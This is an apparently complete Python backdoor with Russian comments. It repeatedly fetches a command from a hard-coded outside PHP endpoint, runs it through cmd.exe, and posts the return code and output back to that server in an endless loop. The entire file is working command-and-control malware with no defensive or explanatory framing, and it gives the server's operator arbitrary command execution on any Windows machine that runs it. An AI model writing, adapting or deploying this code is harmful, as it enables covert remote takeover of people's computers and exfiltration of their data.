import requests
import subprocess
import shlex
from subprocess import TimeoutExpired

url = 'http://wqdawwdada.temp.swtest.ru/ss.php'

def get_command():
    params = {'type': 'getc'}
    response = requests.get(url, params=params)
    return response.text

def send_result(result):
    data = {'type': 'result', 'output': result}
    response = requests.post(url, data=data)
    # print(response.text)

def run_command_with_timeout(command, timeout):
    try:
        cmd_args = shlex.split(command)
        proc = subprocess.Popen(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = proc.communicate(timeout=timeout)
        return (
            proc.returncode,
            stdout.decode('utf-8', errors='ignore'),
            stderr.decode('utf-8', errors='ignore')
        )
    except TimeoutExpired:
        proc.kill()
        stdout, stderr = proc.communicate()
        return (
            -1,
            stdout.decode('utf-8', errors='ignore'),
            stderr.decode('utf-8', errors='ignore')
        )

import subprocess
import shlex
from subprocess import TimeoutExpired

def run_cmd_with_timeout(command, timeout):
    try:
        cmd_args = shlex.split(f'cmd.exe /c "{command}"')
        proc = subprocess.Popen(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = proc.communicate(timeout=timeout)
        stdout_str = stdout.decode('utf-8', errors='ignore')
        stderr_str = stderr.decode('utf-8', errors='ignore')
        return proc.returncode, stdout_str, stderr_str
        
    except TimeoutExpired:
        proc.kill()
        stdout, stderr = proc.communicate()
        stdout_str = stdout.decode('utf-8', errors='ignore')
        stderr_str = stderr.decode('utf-8', errors='ignore')
        return -1, stdout_str, stderr_str
        
    except Exception as e:
        return -1, '', str(e)

def main():
    command = get_command()
    # print(command)
    if command != "NaN":
        try:
            returncode, stdout, stderr = run_cmd_with_timeout(command, 5)
            res = f"=Return code=: {returncode}\n=STDOUT=:\n{stdout}\n=STDERR=:\n{stderr}"
        except Exception as e:
            res = e
        # print(res)
        send_result(res)
    else:
        # print("command = NaN")
        pass
# Пример использования функции
# command = "dir"  # Замените на нужную вам команду
# command = "echo 1"  # Замените на нужную вам команду
# timeout = 5  # Таймаут в секундах

# returncode, stdout, stderr = run_cmd_with_timeout("dir", 5)
# print(f"Return code: {returncode}")
# print(f"STDOUT:\n{stdout}")
# print(f"STDERR:\n{stderr}")


while 1:
    main()
# main()